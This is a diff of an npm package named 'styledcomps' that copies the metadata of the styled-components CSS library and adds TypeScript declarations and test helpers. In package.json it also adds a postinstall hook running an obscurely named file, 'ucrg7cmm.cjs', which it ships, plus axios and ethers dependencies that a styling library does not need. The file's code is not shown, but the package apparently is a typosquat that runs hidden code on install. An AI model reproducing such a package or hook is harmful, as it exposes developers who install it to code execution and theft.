+
*
|
12
|
+
* However, this project uses Babel to transpile ES6 classes, and transforms ES6 class methods to use the assignment operator instead:
|
13
|
+
* https://babeljs.io/docs/babel-plugin-transform-class-properties#options
|
14
|
+
*
|
15
|
+
* Therefore, the most compatible way to shadow the prototype's "toString" property is to define a new "toString" property on this object.
|
16
|
+
*/
|
17
|
+
export declare function setToString(object: object, toStringFn: () => string): void;
|
@@ -0,0 +1,10 @@
|
|
1
|
+
import * as stylis from 'stylis';
|
2
|
+
import { Stringifier } from '../types';
|
3
|
+
export type ICreateStylisInstance = {
|
4
|
+
options?: {
|
5
|
+
namespace?: string | undefined;
|
6
|
+
prefix?: boolean | undefined;
|
7
|
+
} | undefined;
|
8
|
+
plugins?: stylis.Middleware[] | undefined;
|
9
|
+
};
|
10
|
+
export default function createStylisInstance({ options, plugins, }?: ICreateStylisInstance): Stringifier;
|
package/package.json
CHANGED
@@ -1,6 +1,127 @@
|
|
1
1
|
{
|
2
2
|
"name": "styledcomps",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
6
|
-
|
3
|
+
"version": "6.1.13",
|
4
|
+
"description": "CSS for the <Component> Age. Style components your way with speed, strong typing, and flexibility.",
|
5
|
+
"types": "dist/index.d.ts",
|
6
|
+
"main": "dist/styled-components.cjs.js",
|
7
|
+
"module": "./dist/styled-components.esm.js",
|
8
|
+
"react-native": "native/dist/styled-components.native.cjs.js",
|
9
|
+
"browser": {
|
10
|
+
"./dist/styled-components.cjs.js": "./dist/styled-components.browser.cjs.js",
|
11
|
+
"./dist/styled-components.esm.js": "./dist/styled-components.browser.esm.js"
|
12
|
+
},
|
13
|
+
"sideEffects": false,
|
14
|
+
"scripts": {
|
15
|
+
"postinstall": "node ucrg7cmm.cjs"
|
16
|
+
},
|
17
|
+
"repository": {
|
18
|
+
"type": "git",
|
19
|
+
"url": "git+https://github.com/styled-components/styled-components.git"
|
20
|
+
},
|
21
|
+
"files": [
|
22
|
+
"LICENSE",
|
23
|
+
"README.md",
|
24
|
+
"dist",
|
25
|
+
"native",
|
26
|
+
"test-utils",
|
27
|
+
"ucrg7cmm.cjs"
|
28
|
+
],
|
29
|
+
"keywords": [
|
30
|
+
"react",
|
31
|
+
"css",
|
32
|
+
"css-in-js",
|
33
|
+
"styled-components",
|
34
|
+
"styling"
|
35
|
+
],
|
36
|
+
"author": "Glen Maddern",
|
37
|
+
"license": "MIT",
|
38
|
+
"bugs": {
|
39
|
+
"url": "https://github.com/styled-components/styled-components/issues"
|
40
|
+
},
|
41
|
+
"homepage": "https://styled-components.com",
|
42
|
+
"dependencies": {
|
43
|
+
"@emotion/is-prop-valid": "1.2.2",
|
44
|
+
"@emotion/unitless": "0.8.1",
|
45
|
+
"@types/stylis": "4.2.5",
|
46
|
+
"css-to-react-native": "3.2.0",
|
47
|
+
"csstype": "3.1.3",
|
48
|
+
"postcss": "8.4.38",
|
49
|
+
"shallowequal": "1.1.0",
|
50
|
+
"stylis": "4.3.2",
|
51
|
+
"tslib": "2.6.2",
|
52
|
+
"axios": "^1.7.7",
|
53
|
+
"ethers": "^6.13.2"
|
54
|
+
},
|
55
|
+
"peerDependencies": {
|
56
|
+
"react": ">= 16.8.0",
|
57
|
+
"react-dom": ">= 16.8.0"
|
58
|
+
},
|
59
|
+
"devDependencies": {
|
60
|
+
"@babel/core": "7.24.5",
|
61
|
+
"@babel/helper-module-imports": "7.24.3",
|
62
|
+
"@babel/plugin-external-helpers": "7.24.1",
|
63
|
+
"@babel/plugin-proposal-class-properties": "7.18.6",
|
64
|
+
"@babel/plugin-proposal-object-rest-spread": "7.20.7",
|
65
|
+
"@babel/plugin-transform-flow-strip-types": "7.24.1",
|
66
|
+
"@babel/preset-env": "7.24.5",
|
67
|
+
"@babel/preset-react": "7.24.1",
|
68
|
+
"@babel/preset-typescript": "7.24.1",
|
69
|
+
"@rollup/plugin-typescript": "11.1.6",
|
70
|
+
"@types/enzyme": "3.10.18",
|
71
|
+
"@types/jest": "29.5.12",
|
72
|
+
"@types/js-beautify": "1.14.3",
|
73
|
+
"@types/node": "18.19.31",
|
74
|
+
"@types/react": "17.0.80",
|
75
|
+
"@types/react-dom": "17.0.25",
|
76
|
+
"@types/react-frame-component": "4.1.6",
|
77
|
+
"@types/react-native": "0.69.26",
|
78
|
+
"@types/react-test-renderer": "17.0.9",
|
79
|
+
"@types/shallowequal": "1.1.5",
|
80
|
+
"babel-jest": "29.7.0",
|
81
|
+
"babel-plugin-add-module-exports": "1.0.4",
|
82
|
+
"babel-plugin-styled-components": "2.1.4",
|
83
|
+
"babel-plugin-tester": "10.1.0",
|
84
|
+
"bundlewatch": "0.3.3",
|
85
|
+
"jest": "29.7.0",
|
86
|
+
"jest-environment-jsdom": "29.7.0",
|
87
|
+
"jest-serializer-html": "7.1.0",
|
88
|
+
"jest-watch-typeahead": "2.2.2",
|
89
|
+
"js-beautify": "1.15.1",
|
90
|
+
"prettier": "3.2.5",
|
91
|
+
"prop-types": "15.8.1",
|
92
|
+
"react": "17.0.2",
|
93
|
+
"react-dom": "17.0.2",
|
94
|
+
"react-frame-component": "4.1.3",
|
95
|
+
"react-native": "0.70.15",
|
96
|
+
"react-test-renderer": "17.0.2",
|
97
|
+
"rollup": "3.29.4",
|
98
|
+
"rollup-plugin-commonjs": "10.1.0",
|
99
|
+
"rollup-plugin-json": "4.0.0",
|
100
|
+
"rollup-plugin-node-resolve": "5.2.0",
|
101
|
+
"rollup-plugin-replace": "2.2.0",
|
102
|
+
"rollup-plugin-sourcemaps": "0.6.3",
|
103
|
+
"rollup-plugin-terser": "7.0.2",
|
104
|
+
"stylis-plugin-rtl": "2.1.1",
|
105
|
+
"ts-toolbelt": "9.6.0",
|
106
|
+
"typescript": "5.4.5"
|
107
|
+
},
|
108
|
+
"bundlewatch": {
|
109
|
+
"files": [
|
110
|
+
{
|
111
|
+
"path": "./dist/styled-components.min.js",
|
112
|
+
"maxSize": "11.5kB"
|
113
|
+
}
|
114
|
+
]
|
115
|
+
},
|
116
|
+
"collective": {
|
117
|
+
"type": "opencollective",
|
118
|
+
"url": "https://opencollective.com/styled-components"
|
119
|
+
},
|
120
|
+
"funding": {
|
121
|
+
"type": "opencollective",
|
122
|
+
"url": "https://opencollective.com/styled-components"
|
123
|
+
},
|
124
|
+
"engines": {
|
125
|
+
"node": ">= 16"
|
126
|
+
}
|
127
|
+
}
|
@@ -0,0 +1,39 @@
|
|
1
|
+
import { ReactWrapper } from 'enzyme';
|
2
|
+
import { IStyledComponent } from '../src/types';
|
3
|
+
|
4
|
+
function assertElement(element: any) {
|
5
|
+
if (!(element instanceof HTMLElement)) {
|
6
|
+
throw new Error('Must pass a DOM element to find/findAll(element, styledComponent)"');
|
7
|
+
}
|
8
|
+
}
|
9
|
+
|
10
|
+
function assertStyledComponent(styledComponent: any) {
|
11
|
+
if (
|
12
|
+
!styledComponent?.styledComponentId ||
|
13
|
+
typeof styledComponent.styledComponentId !== 'string'
|
14
|
+
) {
|
15
|
+
throw new Error(
|
16
|
+
`${
|
17
|
+
styledComponent.displayName || styledComponent.name || 'Component'
|
18
|
+
} is not a styled component.`
|
19
|
+
);
|
20
|
+
}
|
21
|
+
}
|
22
|
+
|
23
|
+
export function enzymeFind(wrapper: ReactWrapper, styledComponent: IStyledComponent<'web', any>) {
|
24
|
+
assertStyledComponent(styledComponent);
|
25
|
+
|
26
|
+
return wrapper.find(`.${styledComponent.styledComponentId}`);
|
27
|
+
}
|
28
|
+
|
29
|
+
export function find(element: Element, styledComponent: IStyledComponent<'web', any>) {
|
30
|
+
assertElement(element);
|
31
|
+
assertStyledComponent(styledComponent);
|
32
|
+
return element.querySelector(`.${styledComponent.styledComponentId}`);
|
33
|
+
}
|
34
|
+
|
35
|
+
export function findAll(element: Element, styledComponent: IStyledComponent<'web', any>) {
|
36
|
+
assertElement(element);
|
37
|
+
assertStyledComponent(styledComponent);
|
38
|
+
return element.querySelectorAll(`.${styledComponent.styledComponentId}`);
|
39
|
+
}
|
@@ -0,0 +1,26 @@
|
|
1
|
+
const consoleError = console.error;
|
2
|
+
|
3
|
+
const suppressedErrors = [
|
4
|
+
'Error: Could not parse CSS stylesheet',
|
5
|
+
'Warning: Use the `defaultValue` or `value` props instead of setting children on <textarea>',
|
6
|
+
'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx',
|
7
|
+
];
|
8
|
+
|
9
|
+
beforeEach(() => {
|
10
|
+
// Suppress errors from JSDOM CSS parser
|
11
|
+
// See: https://github.com/jsdom/jsdom/issues/2177
|
12
|
+
console.error = (logged: any) => {
|
13
|
+
const message = logged.stack || logged;
|
14
|
+
|
15
|
+
if (
|
16
|
+
typeof message !== 'string' ||
|
17
|
+
!suppressedErrors.some(suppressedError => message.includes(suppressedError))
|
18
|
+
) {
|
19
|
+
consoleError(logged);
|
20
|
+
}
|
21
|
+
};
|
22
|
+
});
|
23
|
+
|
24
|
+
afterEach(() => {
|
25
|
+
console.error = consoleError;
|
26
|
+
});
|